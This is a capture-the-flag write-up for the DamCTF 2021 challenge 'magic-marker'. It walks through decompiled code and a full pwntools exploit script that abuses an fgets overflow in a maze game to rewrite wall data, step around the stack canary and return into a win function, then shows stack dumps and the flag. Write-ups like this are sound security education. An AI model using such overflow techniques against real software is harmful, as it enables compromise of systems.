# DamCTF 2021 
## pwn/magic-marker
> Can you find the flag in this aMAZEing text based adventure game?> > `nc chals.damctf.xyz 31313`>> Author: BobbySinclusto> > [`magic-marker`](magic-marker)
Tags: _pwn_ _x86-64_ _bof_ _ret2win_
## Summary
BOF to overwrite maze structure to allow free movement and go _off grid_ to the return address for an easy ret2win.
## Analysis
### Checksec
```    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```
No PIE, Partical RELRO = Easy ROP, easy GOT overwrite.  Just do not mess with the canary.
### Decompile with Ghidra
`play_maze` is used to navigate a 40x40 (`0x28` x `0x28`) randomly generated maze.  Each `0x20` byte tile in the maze is represented with a data structure of message and walls (well, lack of walls to be precise) and is addressed with something like `local_c848 + (uVar6 + lVar4 * 0x28) * 0x20`.
In `play_maze` there's three areas of interest:
```c    uVar7 = auStack51244[lVar5 * 8];    if ((uVar7 & 8) != 0) {      puts("North");      uVar7 = auStack51244[lVar5 * 8];    }    if ((uVar7 & 4) != 0) {      puts("East");      uVar7 = auStack51244[(uVar6 + lVar4 * 0x28) * 8];    }    if ((uVar7 & 2) != 0) {      puts("South");      uVar7 = auStack51244[(uVar6 + lVar4 * 0x28) * 8];    }    if ((uVar7 & 1) != 0) {      puts("West");    }```
A single nibble is used to store where the walls are not, IOW the directions that are open to you.  `0xf` will enable movement in any direction.
```c  switch(iVar2 - 0x61U & 0xff) { // translate a-z to 0-25  case 0: // a for west    if ((*(byte *)(auStack51244 + (uVar6 + lVar4 * 0x28) * 8) & 1) != 0) {      uVar7 = (int)uVar8 - 1;      uVar8 = (ulong)uVar7;      uVar6 = SEXT48((int)uVar7);      goto LAB_00400d00;    }    break;...    case 3: // d for east    if ((*(byte *)(auStack51244 + (uVar6 + lVar4 * 0x28) * 8) & 4) != 0) {      uVar7 = (int)uVar8 + 1;      uVar8 = (ulong)uVar7;      uVar6 = SEXT48((int)uVar7);      goto LAB_00400d00;    }    break;...  case 0x10: // q for quit, IOW our ROP chain    if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {      return;    }    __stack_chk_fail();  case 0x12: // s for south    if ((*(byte *)(auStack51244 + (uVar6 + lVar4 * 0x28) * 8) & 2) != 0) {      iVar1 = iVar1 + 1;      lVar4 = (long)iVar1;      goto LAB_00400d00;    }    break;  case 0x16: // w for north    if ((*(byte *)(auStack51244 + (uVar6 + lVar4 * 0x28) * 8) & 8) != 0) {      iVar1 = iVar1 + -1;      lVar4 = (long)iVar1;      goto LAB_00400d00;    }    break;```
Movement increments or decrements `lVar4` (N/S movement) and/or `uVar6` (E/W movement).
```c  puts(      "Your magnificently magestic magic marker magically manifests itself in your hand. What would you like to write?"      );  fgets(local_c848 + (uVar6 + lVar4 * 0x28) * 0x20,0x21,stdin);```
Lastly our vuln is this `fgets` that will take are current position and allow us to write out a message on the tile, however it can overwrite the wall data.  A simple string of `0x20` * `0xFF` will simply enable us to move in any direction.  Including _off the grid_.
We just have to be very careful when _off the grid_ not to corrupt the canary.  Otherwise it's a simple ret2win challenge.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./magic-marker')
if args.REMOTE:    p = remote('chals.damctf.xyz', 31313)else:    p = process(binary.path)
p.sendlineafter(b'?\n',b'jump up and down')```
There's a small gate to get past to start the game, simply `jump up and down`.
```python# where am i?p.sendlineafter(b'): ',b'm')
x = y = 0for i in range(80):    _ = p.recvline().strip()    if b'|' in _:        y += 1    if b'*' in _:        x = (2 + _.find(b'*')) // 4        break
log.info('x,y = {x},{y}'.format(x = x, y = y))```
Next, we need to find where we are in the maze.  The above just scans the output of `m` (print maze) to find our location.
```python# kick down the walls and get to the lower rightfor i in range(40 - x):    p.sendlineafter(b'): ', b'x')    p.sendlineafter(b'?\n', 0x20 * b'\xff')    p.sendlineafter(b'): ', b'd')
for j in range(40 - y):    p.sendlineafter(b'): ', b'x')    p.sendlineafter(b'?\n', 0x20 * b'\xff')    p.sendlineafter(b'): ', b's')```
Next, we just kick down the walls and move to the lower right, this is at the end of the allocated buffer for the maze and not far from the return address.
```python# lets bust out of here, return to the eastp.sendlineafter(b'): ', b'x')p.sendlineafter(b'?\n', 0x20 * b'\xff')p.sendlineafter(b'): ', b'd')p.sendlineafter(b'): ', b'd')p.sendlineafter(b'): ', b'x')p.sendlineafter(b'?\n', 0x20 * b'\xff')p.sendlineafter(b'): ', b'd')p.sendlineafter(b'): ', b'x')
# 8 bytes before the return address FTW!p.sendlineafter(b'?\n', p64(0) + p64(binary.sym.win))p.sendlineafter(b'): ', b'q')p.stream()```
Lastly, move East (`0x20` bytes at a time).  Each time before we move we write `0x20 * b'\xff'` bytes to clear out the walls, _except_ for the block of 32-bytes that contains the canary.
Luckily, the correct nibble is set in that block to allow another move East (it's a stack address at that location with a 50/50 chance unblocking East with ASLR.  No checks; sometimes this hangs, just rerun.  In the [pwn/sir-marksalot](../sir-marksalot) writeup I'll cover this in more detail and put in checks).
Finally after a few more moves we're 8 bytes from the return address, so 8 bytes of garbage, then the location of the `win` function and we get the flag. 
End of stack just before `q` is sent:
```0x00007fff68ff78b0│+0xc7f0: 0xffffffffffffffff0x00007fff68ff78b8│+0xc7f8: 0xffffffffffffffff0x00007fff68ff78c0│+0xc800: 0xffffffffffffffff0x00007fff68ff78c8│+0xc808: 0xffffffffffffffff0x00007fff68ff78d0│+0xc810: 0x00000000000002000x00007fff68ff78d8│+0xc818: 0xeff9658e4eccb1000x00007fff68ff78e0│+0xc820: 0x0000000000401380  →  "Oh no! The ground gives way and you fall into a da[...]"0x00007fff68ff78e8│+0xc828: 0x00007fff68ff7920  →  0x20707520706d000a0x00007fff68ff78f0│+0xc830: 0xffffffffffffffff0x00007fff68ff78f8│+0xc838: 0xffffffffffffffff0x00007fff68ff7900│+0xc840: 0xffffffffffffffff0x00007fff68ff7908│+0xc848: 0xffffffffffffffff0x00007fff68ff7910│+0xc850: 0x00000000000000000x00007fff68ff7918│+0xc858: 0x0000000000400fa0  →  <win+0> push rbp```
This correlates with the last block of code above.  Basically, write out `0xff`s, then move East to block with canary, then move East again preserving the block with the canary, then write out `0xff`s again, move East, then write out ROP chain.
Stack before going _off the grid_:
```0x00007ffe2af22390│+0xc7f0: 0x00000000000000000x00007ffe2af22398│+0xc7f8: 0x00000000000000000x00007ffe2af223a0│+0xc800: 0x00000000000000000x00007ffe2af223a8│+0xc808: 0x00000008000000000x00007ffe2af223b0│+0xc810: 0x00000000000002130x00007ffe2af223b8│+0xc818: 0x068c9f5626adf3000x00007ffe2af223c0│+0xc820: 0x0000000000401380  →  "Oh no! The ground gives way and you fall into a da[...]"0x00007ffe2af223c8│+0xc828: 0x00007ffe2af22400  →  "jump up and down\n"0x00007ffe2af223d0│+0xc830: 0x000000000040113d  →  "jump up and down\n"0x00007ffe2af223d8│+0xc838: 0x0000000000401122  →  "I'm not sure I understand."0x00007ffe2af223e0│+0xc840: 0x00007ffe2af22530  →  0x00000000000000010x00007ffe2af223e8│+0xc848: 0x00000000000000000x00007ffe2af223f0│+0xc850: 0x00000000000000000x00007ffe2af223f8│+0xc858: 0x000000000040085d  →  <main+173> xor eax, eax```
Finding the location of the return address is pretty straight forward.  The `main+173` is a giveaway, but also you can just get from Ghidra `char local_c848` (correlates with stack offset: `+0xc858`).
Output:
```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/damctf2021/magic-marker/magic-marker'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[+] Opening connection to chals.damctf.xyz on port 31313: Done[*] x,y = 38,39Congratulations! You escaped the maze and got the flag!dam{m4rvellOU5lY_M49n1f1cen7_m491C_m4rker5_M4KE_M4zE_M4n1PuL471oN_M4R91N4llY_M4L1c1Ou5}```